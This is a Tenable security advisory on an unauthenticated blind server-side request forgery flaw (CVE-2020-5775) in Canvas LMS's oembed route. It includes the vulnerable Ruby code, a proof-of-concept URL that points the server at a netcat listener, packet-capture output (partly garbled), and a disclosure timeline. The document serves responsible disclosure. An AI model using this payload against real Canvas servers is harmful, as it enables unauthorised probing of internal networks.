tenable

Canvas LMS Unauthenticated Blind SSRF

Medium

← View More Research Advisories

Synopsis

A server-side request forgery vulnerability exists in the /external_content/retrieve/oembed route. A remote, unauthenticated attacker can exploit this vulnerability to force the Canvas LMS application to perform HTTP GET requests to arbitrary domains. An attacker could abuse this to cause the Canvas application to generate requests to other URLs.

The flaw exists in external_content_controller's oembed_retrieve method. The endpoint parameter is parsed, and subsequently passed to CanvasHttp.get() as an argument. This fires off an HTTP GET request to the endpoint specified, and the url parameter will contain arbitrary content.

```
def oembed_retrieve
    endpoint = params[:endpoint]
    url = params[:url]
    uri = URI.parse(endpoint + (endpoint.match(/\?/) ? '&url=' : '?url=') + CGI.escape(url) + '&format=json')
    begin
      res = CanvasHttp.get(uri.to_s)  # SSRF vulnerability
      data = JSON.parse(res.body)
      content_item = Lti::ContentItemConverter.convert_oembed(data)
    rescue StandardError
      content_item = {}
    end
    render :json => [content_item]
  end
```

Below I have set up a test scenario for proof of concept.

Proof of Concept

The Canvas LMS application is hosted at 192.168.1.189. I also set up a Netcat listener at 192.168.1.191:4444. Additionally, I started tcpdump on the machine hosting Canvas.

After visiting

```
http://192.168.1.189/external_content/retrieve/oembed?endpoint=http://192.168.1.191:4444&url=scooby
```

in a web browser, the following tcpdump output was observed:

```
bitnami@debian:~$ sudo tcpdump -i enp0s3 -X "tcp port 4444"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
20:35:37.219351 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [S], seq 1671470788, win 64240, options [mss 1460,sackOK,TS val 3128961787 ecr 0,nop,wscale 7], length 0
        0x0000:  4500 003c ab39 4000 4006 0ab6 c0a8 01bd  E..<.9 c0a8="" df5c="" .....="" a002="" faf0="" efa8="" ..............="" ba80="" ..="" ip=""> 192.168.1.189.57180: F
        0x0000:  4500 0040 0000 4000 4006 b5eb c0a8 01bf  E..@..@.@.......
        0x0010:  c0a8 01bd 115c df5c 16c1 9bca 63a0 9ec5  .....\.\....c...
        0x0020:  b012 ffff e5ae 0000 0204 05b4 0103 0306  ................
        0x0030:  0101 080a 1f59 21f1 ba80 2afb 0402 0000  .....Y!...*.....
20:35:37.219805 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [.], ack 1, win 502, options [nop,nop,TS val 3128961787 ecr 525935089], length 0
        0x0000:  4500 0034 ab3a 4000 4006 0abd c0a8 01bd  E..4.:@.@.......
        0x0010:  c0a8 01bf df5c 115c 63a0 9ec5 16c1 9bcb  .....\.\c.......
        0x0020:  8010 01f6 2389 0000 0101 080a ba80 2afb  ....#.........*.
        0x0030:  1f59 21f1                                .Y!.
20:35:37.220048 IP 192.168.1.191.4444 > 192.168.1.189.57180: Flags [.], ack 1, win 2058, options [nop,nop,TS val 525935089 ecr 3128961787], length 0
        0x0000:  4500 0034 0000 4000 4006 b5f7 c0a8 01bf  E..4..@.@.......
        0x0010:  c0a8 01bd 115c df5c 16c1 9bcb 63a0 9ec5  .....\.\....c...
        0x0020:  8010 080a 1d75 0000 0101 080a 1f59 21f1  .....u.......Y!.
        0x0030:  ba80 2afb                                ..*.
20:35:37.220651 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [P.], seq 1:176, ack 1, win 502, options [nop,nop,TS val 3128961788 ecr 525935089], length 175
        0x0000:  4500 00e3 ab3b 4000 4006 0a0d c0a8 01bd  E....;@.@.......
        0x0010:  c0a8 01bf df5c 115c 63a0 9ec5 16c1 9bcb  .....\.\c.......
        0x0020:  8018 01f6 b165 0000 0101 080a ba80 2afc  .....e........*.
        0x0030:  1f59 21f1 4745 5420 2f3f 7572 6c3d 7363  .Y!.GET./?url=sc
        0x0040:  6f6f 6279 2666 6f72 6d61 743d 6a73 6f6e  ooby&format=json
        0x0050:  2048 5454 502f 312e 310d 0a41 6363 6570  .HTTP/1.1..Accep
        0x0060:  742d 456e 636f 6469 6e67 3a20 677a 6970  t-Encoding:.gzip
        0x0070:  3b71 3d31 2e30 2c64 6566 6c61 7465 3b71  ;q=1.0,deflate;q
        0x0080:  3d30 2e36 2c69 6465 6e74 6974 793b 713d  =0.6,identity;q=
        0x0090:  302e 330d 0a41 6363 6570 743a 202a 2f2a  0.3..Accept:.*/*
        0x00a0:  0d0a 5573 6572 2d41 6765 6e74 3a20 5275  ..User-Agent:.Ru
        0x00b0:  6279 0d0a 436f 6e6e 6563 7469 6f6e 3a20  by..Connection:.
        0x00c0:  636c 6f73 650d 0a48 6f73 743a 2031 3932  close..Host:.192
        0x00d0:  2e31 3638 2e31 2e31 3931 3a34 3434 340d  .168.1.191:4444.
        0x00e0:  0a0d 0a                                  ...
20:35:37.220841 IP 192.168.1.191.4444 > 192.168.1.189.57180: Flags [.], ack 176, win 2056, options [nop,nop,TS val 525935090 ecr 3128961788], length 0
        0x0000:  4500 0034 0000 4000 4006 b5f7 c0a8 01bf  E..4..@.@.......
        0x0010:  c0a8 01bd 115c df5c 16c1 9bcb 63a0 9f74  .....\.\....c..t
        0x0020:  8010 0808 1cc6 0000 0101 080a 1f59 21f2  .............Y!.
        0x0030:  ba80 2afc                                ..*.
```

Notice that an HTTP request was sent **out** over TCP port 4444 to 192.168.1.191.

Here is the output from my netcat listener:

```
User-Agent: Ruby
Connection: close
Host: 192.168.1.191:4444
```

Notice that the value of the url parameter can be controlled. This allows an attacker to send requests containing arbitrary messages.

Solution

An official patch is not yet available. However, a proposed fix was committed to master on GitHub.

Additional References

https://github.com/instructure/canvas-lms/commit/d225ea1c7d58b0eb82d7a8e40f80075d4da67f99
https://community.canvaslms.com/t5/Security-Updates/2020-08-11-Instructure-Advisory-IAC32279-Oembed-API-Blind-SSRF/ba-p/389280

Disclosure Timeline

07/24/2020 - Tenable asks security@instructure for a direct contact.
07/24/2020 - Automated response received. Instructs us to send the report directly to security@instructure.com using the provided PGP key.
07/24/2020 - Tenable encrypts the report and sends it in.
07/28/2020 - Instructure asks us to encrypt the report with a different key.
07/29/2020 - Tenable encrypts the report with the new key and sends it in. Updates 90-day date to Oct 27.
07/29/2020 - Instructure thanks Tenable for the report. They are reviewing it now.
08/10/2020 - Tenable asks for an update.
08/10/2020 - Instructure says Canvas changes will be deployed to beta environments Aug 13 for testing and then to production Sept 19. They will publicly disclose the issue and its fix after the Sept 19 deployment.
08/11/2020 - Tenable notices a commit directly to master on GitHub that fixes this vulnerability and describes the fix. Communicates to Instructure that, per our policy, we consider this fix to be public disclosure, and we will publish an advisory.

Risk Information

CVE ID: CVE-2020-5775
Tenable Advisory ID: TRA-2020-49
Credit: Chris Lyne

CVSSv3 Base / Temporal Score: 5.8 / 5.5
CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Additional Keywords : Instructure Advisory IAC32279
Affected Products: Canvas LMS 2020-07-29
Risk Factor: Medium

Advisory Timeline

08/11/2020 - Advisory published.
08/21/2020 - Added CVE ID
08/26/2020 - Added reference to Instructure advisory

Compliance
Exposure Management
Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media